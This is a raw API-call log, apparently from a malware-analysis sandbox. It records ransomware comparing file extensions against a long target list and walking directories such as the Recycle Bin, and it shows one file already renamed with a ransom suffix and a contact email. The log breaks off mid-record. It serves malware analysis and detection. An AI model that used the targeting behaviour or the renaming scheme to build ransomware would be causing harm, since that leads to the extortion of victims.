(lpString=".bmp") returned 4 [0174.940] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".bz2") returned 4 [0174.940] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".c") returned 2 [0174.940] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0174.940] lstrlenW (lpString=".cdr") returned 4 [0174.940] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".cer") returned 4 [0174.940] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".cf") returned 3 [0174.940] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0174.940] lstrlenW (lpString=".cfc") returned 4 [0174.940] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".cfm") returned 4 [0174.940] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0174.940] lstrlenW (lpString=".cfml") returned 5 [0174.940] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0174.940] lstrlenW (lpString=".cfu") returned 4 [0174.941] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".chm") returned 4 [0174.941] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".cin") returned 4 [0174.941] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".class") returned 6 [0174.941] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0174.941] lstrlenW (lpString=".clx") returned 4 [0174.941] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".config") returned 7 [0174.941] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0174.941] lstrlenW (lpString=".cpp") returned 4 [0174.941] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".cr2") returned 4 [0174.941] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".crt") returned 4 [0174.941] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".crw") returned 4 [0174.941] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".cs") returned 3 [0174.941] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0174.941] lstrlenW (lpString=".css") returned 4 [0174.941] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".csv") returned 4 [0174.941] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".cub") returned 4 [0174.941] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".dae") returned 4 [0174.941] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".dat") returned 4 [0174.941] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0174.941] lstrlenW (lpString=".db") returned 3 [0174.941] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0174.941] lstrlenW (lpString=".dbf") returned 4 [0174.941] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".dbx") returned 4 [0174.942] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".dc3") returned 4 [0174.942] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".dcm") returned 4 [0174.942] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".dcr") returned 4 [0174.942] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".der") returned 4 [0174.942] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".dib") returned 4 [0174.942] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".dic") returned 4 [0174.942] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".dif") returned 4 [0174.942] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".divx") returned 5 [0174.942] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0174.942] lstrlenW (lpString=".djvu") returned 5 [0174.942] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0174.942] lstrlenW (lpString=".dng") returned 4 [0174.942] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".doc") returned 4 [0174.942] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".docm") returned 5 [0174.942] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0174.942] lstrlenW (lpString=".docx") returned 5 [0174.942] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0174.942] lstrlenW (lpString=".dot") returned 4 [0174.942] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0174.942] lstrlenW (lpString=".dotm") returned 5 [0174.942] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0174.942] lstrlenW (lpString=".dotx") returned 5 [0174.942] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0174.942] lstrlenW (lpString=".dpx") returned 4 [0174.943] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".dqy") returned 4 [0174.943] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".dsn") returned 4 [0174.943] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".dt") returned 3 [0174.943] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0174.943] lstrlenW (lpString=".dtd") returned 4 [0174.943] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".dwg") returned 4 [0174.943] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".dwt") returned 4 [0174.943] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".dx") returned 3 [0174.943] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0174.943] lstrlenW (lpString=".dxf") returned 4 [0174.943] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".edml") returned 5 [0174.943] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0174.943] lstrlenW (lpString=".efd") returned 4 [0174.943] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".elf") returned 4 [0174.943] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".emf") returned 4 [0174.943] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".emz") returned 4 [0174.943] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".epf") returned 4 [0174.943] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".eps") returned 4 [0174.943] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0174.943] lstrlenW (lpString=".epsf") returned 5 [0174.943] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0174.943] lstrlenW (lpString=".epsp") returned 5 [0174.943] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0174.944] lstrlenW (lpString=".erf") returned 4 [0174.944] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".exr") returned 4 [0174.944] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".f4v") returned 4 [0174.944] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".fido") returned 5 [0174.944] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0174.944] lstrlenW (lpString=".flm") returned 4 [0174.944] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".flv") returned 4 [0174.944] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".frm") returned 4 [0174.944] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".fxg") returned 4 [0174.944] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".geo") returned 4 [0174.944] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".gif") returned 4 [0174.944] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".grs") returned 4 [0174.944] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".gz") returned 3 [0174.944] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0174.944] lstrlenW (lpString=".h") returned 2 [0174.944] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0174.944] lstrlenW (lpString=".hdr") returned 4 [0174.944] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".hpp") returned 4 [0174.944] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".hta") returned 4 [0174.944] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".htc") returned 4 [0174.944] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0174.944] lstrlenW (lpString=".htm") returned 4 [0174.945] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".html") returned 5 [0174.945] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0174.945] lstrlenW (lpString=".icb") returned 4 [0174.945] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".ics") returned 4 [0174.945] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".iff") returned 4 [0174.945] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".inc") returned 4 [0174.945] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".indd") returned 5 [0174.945] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0174.945] lstrlenW (lpString=".ini") returned 4 [0174.945] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".iqy") returned 4 [0174.945] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".j2c") returned 4 [0174.945] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".j2k") returned 4 [0174.945] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".java") returned 5 [0174.945] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0174.945] lstrlenW (lpString=".jp2") returned 4 [0174.945] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".jpc") returned 4 [0174.945] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".jpe") returned 4 [0174.945] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".jpeg") returned 5 [0174.945] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0174.945] lstrlenW (lpString=".jpf") returned 4 [0174.945] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0174.945] lstrlenW (lpString=".jpg") returned 4 [0174.945] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".jpx") returned 4 [0174.946] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".js") returned 3 [0174.946] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0174.946] lstrlenW (lpString=".jsf") returned 4 [0174.946] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".json") returned 5 [0174.946] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0174.946] lstrlenW (lpString=".jsp") returned 4 [0174.946] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".kdc") returned 4 [0174.946] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".kmz") returned 4 [0174.946] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".kwm") returned 4 [0174.946] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".lasso") returned 6 [0174.946] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0174.946] lstrlenW (lpString=".lbi") returned 4 [0174.946] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".lgf") returned 4 [0174.946] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".lgp") returned 4 [0174.946] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".log") returned 4 [0174.946] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".m1v") returned 4 [0174.946] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".m4a") returned 4 [0174.946] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".m4v") returned 4 [0174.946] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".max") returned 4 [0174.946] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0174.946] lstrlenW (lpString=".md") returned 3 [0174.946] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0174.947] lstrlenW (lpString=".mda") returned 4 [0174.947] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mdb") returned 4 [0174.947] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mde") returned 4 [0174.947] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mdf") returned 4 [0174.947] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mdw") returned 4 [0174.947] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mef") returned 4 [0174.947] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mft") returned 4 [0174.947] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mfw") returned 4 [0174.947] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mht") returned 4 [0174.947] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mhtml") returned 6 [0174.947] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0174.947] lstrlenW (lpString=".mka") returned 4 [0174.947] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mkidx") returned 6 [0174.947] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0174.947] lstrlenW (lpString=".mkv") returned 4 [0174.947] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mos") returned 4 [0174.947] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mov") returned 4 [0174.947] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mp3") returned 4 [0174.947] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mp4") returned 4 [0174.947] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0174.947] lstrlenW (lpString=".mpeg") returned 5 [0174.948] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0174.948] lstrlenW (lpString=".mpg") returned 4 [0174.948] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".mpv") returned 4 [0174.948] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".mrw") returned 4 [0174.948] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".msg") returned 4 [0174.948] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".mxl") returned 4 [0174.948] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".myd") returned 4 [0174.948] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".myi") returned 4 [0174.948] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".nef") returned 4 [0174.948] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".nrw") returned 4 [0174.948] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".obj") returned 4 [0174.948] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".odb") returned 4 [0174.948] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".odc") returned 4 [0174.948] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".odm") returned 4 [0174.948] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".odp") returned 4 [0174.948] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".ods") returned 4 [0174.948] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".oft") returned 4 [0174.948] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0174.948] lstrlenW (lpString=".one") returned 4 [0174.948] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".onepkg") returned 7 [0174.949] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0174.949] lstrlenW (lpString=".onetoc2") returned 8 [0174.949] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0174.949] lstrlenW (lpString=".opt") returned 4 [0174.949] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".oqy") returned 4 [0174.949] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".orf") returned 4 [0174.949] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".p12") returned 4 [0174.949] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".p7b") returned 4 [0174.949] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".p7c") returned 4 [0174.949] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pam") returned 4 [0174.949] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pbm") returned 4 [0174.949] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pct") returned 4 [0174.949] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pcx") returned 4 [0174.949] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pdd") returned 4 [0174.949] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pdf") returned 4 [0174.949] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pdp") returned 4 [0174.949] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pef") returned 4 [0174.949] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pem") returned 4 [0174.949] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0174.949] lstrlenW (lpString=".pff") returned 4 [0174.950] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".pfm") returned 4 [0174.950] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".pfx") returned 4 [0174.950] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".pgm") returned 4 [0174.950] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".php") returned 4 [0174.950] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".php3") returned 5 [0174.950] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0174.950] lstrlenW (lpString=".php4") returned 5 [0174.950] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0174.950] lstrlenW (lpString=".php5") returned 5 [0174.950] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0174.950] lstrlenW (lpString=".phtml") returned 6 [0174.950] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0174.950] lstrlenW (lpString=".pict") returned 5 [0174.950] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0174.950] lstrlenW (lpString=".pl") returned 3 [0174.950] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0174.950] lstrlenW (lpString=".pls") returned 4 [0174.950] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".pm") returned 3 [0174.950] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0174.950] lstrlenW (lpString=".png") returned 4 [0174.950] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".pnm") returned 4 [0174.950] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".pot") returned 4 [0174.950] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0174.950] lstrlenW (lpString=".potm") returned 5 [0174.950] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0174.950] lstrlenW (lpString=".potx") returned 5 [0174.950] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0174.951] lstrlenW (lpString=".ppa") returned 4 [0174.951] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".ppam") returned 5 [0174.951] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0174.951] lstrlenW (lpString=".ppm") returned 4 [0174.951] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".pps") returned 4 [0174.951] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".ppsm") returned 5 [0174.951] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0174.951] lstrlenW (lpString=".ppt") returned 4 [0174.951] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".pptm") returned 5 [0174.951] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0174.951] lstrlenW (lpString=".pptx") returned 5 [0174.951] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0174.951] lstrlenW (lpString=".prn") returned 4 [0174.951] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".ps") returned 3 [0174.951] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0174.951] lstrlenW (lpString=".psb") returned 4 [0174.951] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".psd") returned 4 [0174.951] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".pst") returned 4 [0174.951] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".ptx") returned 4 [0174.951] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".pub") returned 4 [0174.951] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".pwm") returned 4 [0174.951] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".pxr") returned 4 [0174.951] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0174.951] lstrlenW (lpString=".py") returned 3 [0174.952] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0174.952] lstrlenW (lpString=".qt") returned 3 [0174.952] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0174.952] lstrlenW (lpString=".r3d") returned 4 [0174.952] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0174.952] lstrlenW (lpString=".raf") returned 4 [0174.952] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0174.952] lstrlenW (lpString=".rar") returned 4 [0174.952] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0174.952] lstrlenW (lpString=".raw") returned 4 [0174.952] lstrcmpiW (lpString1=".raw", lpString2="].kr") returned -1 [0174.952] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc41d101a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41d101a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPC~1.KR")) returned 0 [0174.952] FindClose (in: hFindFile=0x43a640 | out: hFindFile=0x43a640) returned 1 [0175.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.020] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0175.020] FindClose (in: hFindFile=0x43a380 | out: hFindFile=0x43a380) returned 1 [0175.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.020] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x3b3fcf8 | out: lpFindFileData=0x3b3fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0175.020] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4400060 [0175.020] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, 